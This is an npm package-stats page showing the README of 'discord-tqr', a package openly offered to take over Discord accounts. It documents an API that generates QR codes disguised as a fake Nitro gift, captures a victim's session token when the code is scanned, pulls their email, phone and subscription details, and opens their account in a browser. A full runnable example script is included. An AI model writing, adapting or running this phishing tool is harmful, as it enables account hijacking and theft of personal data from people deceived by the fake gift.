npm package discovery and stats viewer.

Discover Tips

  • General search

    [free text search, go nuts!]

  • Package details

    pkg:[package-name]

  • User packages

    @[username]

Sponsor

Optimize Toolset

I’ve always been into building performant and accessible sites, but lately I’ve been taking it extremely seriously. So much so that I’ve been building a tool to help me optimize and monitor the sites that I build to make sure that I’m making an attempt to offer the best experience to those who visit them. If you’re into performant, accessible and SEO friendly sites, you might like it too! You can check it out at Optimize Toolset.

About

Hi, 👋, I’m Ryan Hefner  and I built this site for me, and you! The goal of this site was to provide an easy way for me to check the stats on my npm packages, both for prioritizing issues and updates, and to give me a little kick in the pants to keep up on stuff.

As I was building it, I realized that I was actually using the tool to build the tool, and figured I might as well put this out there and hopefully others will find it to be a fast and useful way to search and browse npm packages as I have.

If you’re interested in other things I’m working on, follow me on Twitter or check out the open source projects I’ve been publishing on GitHub.

I am also working on a Twitter bot for this site to tweet the most popular, newest, random packages from npm. Please follow that account now and it will start sending out packages soon–ish.

Open Software & Tools

This site wouldn’t be possible without the immense generosity and tireless efforts from the people who make contributions to the world and share their work via open source initiatives. Thank you 🙏

© 2024 – Pkg Stats / Ryan Hefner

discord-tqr

v1.0.4

Published

Generate QR code to get user token to take control of the account, get informations ...

Downloads

50

Readme

Discord-tqr

Generate QR code to get user token to take control of the account, get informations ...

Update

See the changelog

💻 Installation

$ npm i discord-tqr

📚 Usage

Import

import DiscordTQR from "discord-tqr";
//or
const DiscordTQR = require("discord-tqr").default;

API

const handler = new DiscordTQR();

Generate a QR Code

Options:

  • path?: string - Path where you want to save the QR code in png format
  • template?: "default" | { path: string, x?: number, y?: number, width?: number, height?: number } - If you want to apply a template to the QR code. With "default" you can create a fake nitro gift. You can also make a custom one with path for the template image and x, y, width, height for the x/y position of the QR code on the template and the width/height for the size of the QR code on the template.
  • wait?: number - If you have trouble when getting the QR Code you can wait full page loaded by setting a wait time in ms like 5000 (by default it's 0).
  • browserOptions?: PuppeteerLaunchOptions - Browser options for puppeter by default it's { headless: true, defaultViewport: null }
const base64QrCode = await handler.getQRCode(options?: {
    path?: string,
    browserOptions?: PuppeteerLaunchOptions,
    wait?: number,
    template?: "default" | { path?: string, x?: number, y?: number, width?: number, height?: number },
    encoding?: string
});

Listening for token

NOTE: This method work only if you launch "getQRCode" before. It can also be block by a recaptcha

Return the token in a string when the QR code is scanned

const token = await handler.listenForToken();

Get user informations

Return a json object with user informations like subscription, email, phone, avatar, name ...

Options

  • token?: string - The token of the user by default it's the token from listForToken method
const user = await handler.getDiscordAccountInfo(token?: string);

Result

{
  id: '...',
  username: '...',
  avatar: '...',
  avatar_decoration: null,
  discriminator: '...',
  public_flags: 0,
  flags: 0,
  banner: null,
  banner_color: null,
  accent_color: null,
  bio: '...',
  locale: 'fr',
  nsfw_allowed: true,
  mfa_enabled: false,
  email: '...',
  verified: true,
  phone: "...",
  user: '...#...',
  avatar_url: 'https://cdn.discordapp.com/avatars/...',
  subscription: [...]
}

Open user account

Open a discord account in chromium with puppeteer and with the token

options:

  • token?: string - The token of the user by default it's the token from listForToken method
  • browserOptions?: PuppeteerLaunchOptions - Browser options for puppeter by default it's { headless: false, defaultViewport: null, args: ["--start-fullscreen"] }
const {browser, page} = await handler.openDiscordAccount(options?: { token?: string, browserOptions?: PuppeteerLaunchOptions });

Close browser for QR code generation

Close the browser used for generating the QR Code and by listenForToken

await handler.closeConnection();

Example

const path = require("path");
const DiscordTQR = require("discord-tqr").default;

(async function () {
  try {
    const handler = new DiscordTQR();

    console.log("Creating qr code...");
    await handler.getQRCode({
      path: path.resolve(__dirname, "./qr-with-template.png"),
      template: "default",
    });
    console.log("QR code created to ./qr-with-template.png !");

    console.log("Waiting for token...");
    await handler.listenForToken();
    console.log("Token: ", handler.token);

    console.log("Getting user informations...");
    await handler.getDiscordAccountInfo();
    console.log("User information:", handler.user);

    console.log("Opening user account...");
    const { browser, page } = await handler.openDiscordAccount();

    setTimeout(async () => {
      console.log("Closing opened browser...");
      await browser.close();
    }, 60000);

    console.log("Closing connection...");
    await handler.closeConnection();
  } catch (e) {
    console.log(e);
  }
})();